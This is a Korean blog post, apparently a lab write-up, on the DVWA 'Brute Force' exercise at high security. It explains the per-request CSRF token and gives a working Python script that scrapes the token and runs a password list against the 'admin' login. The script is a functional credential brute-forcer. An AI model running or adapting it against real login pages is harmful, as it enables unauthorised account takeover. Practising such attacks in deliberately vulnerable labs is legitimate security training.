본문 바로가기

프로젝트/DVWA 실습

DVWA 실습 #2-3 - Brute Force(high)

2021/01/01 - [프로젝트/DVWA 실습] - DVWA 실습 #2 - Brute Force

 

DVWA 실습 #2 - Brute Force

DVWA의 첫 번째 실습 대상인 Brute Force다. 브루트 포스? 브루트 포스는 무작위로 비밀번호를 조합하거나 사전 파일에 정의된 비밀번호를 하나하나 대입해보며 공격하는 방식(또는 두 가지를 합한 h

haruhiism.tistory.com

문제 해결 방법

High 레벨부터는 이전 포스트에서 분석했듯이 CSRF 토큰이 포함된다. 이는 서버가 받는 요청이 진짜 사용자가 HTML 폼에서 입력하여 보낸건지 확인하는 방법으로 현재 레벨에서는 숨겨진 폼에 포함되어 같이 전송되고 있다.

이 토큰값은 서버에서 클라이언트에게 보여줄 페이지를 동적으로 생성할 때 같이 생성되어 포함되며 사용자가 굳이 수정할 이유도, 그래서도 안되는 값이기 때문에 hidden 타입으로 지정되어 있다. 지금은 text 타입으로 수정했기 때문에 보이지만 아무튼 이런 식으로 숨겨진 input 태그에 포함하여 submit 시에 같이 웹 서버로 전송된다.

그래서 실제로 로그인을 시도할 때도 user_token이라는 파라미터로 같이 포함된 것을 확인할 수 있다. 만약 이 user_token이 없다면 어떻게 될까?

CSRF 토큰이 올바르지 않다는 메시지와 함께 다시 로그인 창으로 돌아오게 된다. 그렇다면 이전처럼 스크립트에 토큰값만 포함해서 넘겨주면 되는 게 아닐까? 당연하지만 CSRF 토큰의 목적이 그런걸 방지하려는 것이기 때문에 토큰값은 매번 달라진다.

그렇다면 매번 요청을 수행할때마다 직접 이 토큰값을 복사해줘야할까? 직접 공격하는 이상 더이상 브루트 포스가 아니게 된다. 여기서는 파이썬의 BeautifulSoup 모듈을 사용하거나 직접 해당 문자열을 탐색하는 식으로 찾을 수 있다.

Python requests 모듈

import requests, time

URL="http://192.168.56.103/dvwa/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE',
           'security': 'high'}

params = {'username':'',
          'password':'',
          'Login':'Login',
          'user_token':''}

with open('10-million-password-list-top-1000000.txt') as f:
    passwords = f.readlines()

passwords = [x.strip() for x in passwords]

for password in passwords:
    start_time = time.time()
    params['username'] = 'admin'
    params['password'] = password

    res = requests.get(URL, cookies=cookies)
    search_string = "name='user_token' value='"
    string_position = res.text.find(search_string)
    search_position = string_position+len(search_string)
    if string_position > 0:
        token = res.text[search_position:res.text.find("'", search_position)]        
        params['user_token'] = token

    print("Trying {}... ".format(password), end="")
    res = requests.get(URL, params=params, cookies=cookies)
    print("{} elapsed.".format(time.time() - start_time))
    if "Username and/or password incorrect." not in res.text and\
       "CSRF token is incorrect" not in res.text:
        print("Password found!: {}".format(password))
        break

이전과 달라진 점은 "Username and/or password incorrect." 메시지 뿐 아니라 "CSRF token is incorrect" 라는 메시지도 응답에 포함되지 않아야 로그인이 성공한 것으로 간주한다는 것이다. 그렇지 않다면 토큰을 얻기 위해 보내는 요청에 대한 응답을 로그인 성공으로 착각할 수도 있다. 아무튼 단순히 문자열로 비교, 탐색해서 인덱싱하는 방법이지만 잘 동작하는 것을 확인할 수 있었다.

이전처럼 약 2초 정도가 추가적으로 소모된 것을 확인할 수 있었다. High 단계에서는 지연시간을 랜덤하게 설정했기 때문에 꼭 2초가 추가되지 않고 아래처럼 바로 돌아오는 경우도 확인할 수 있었다.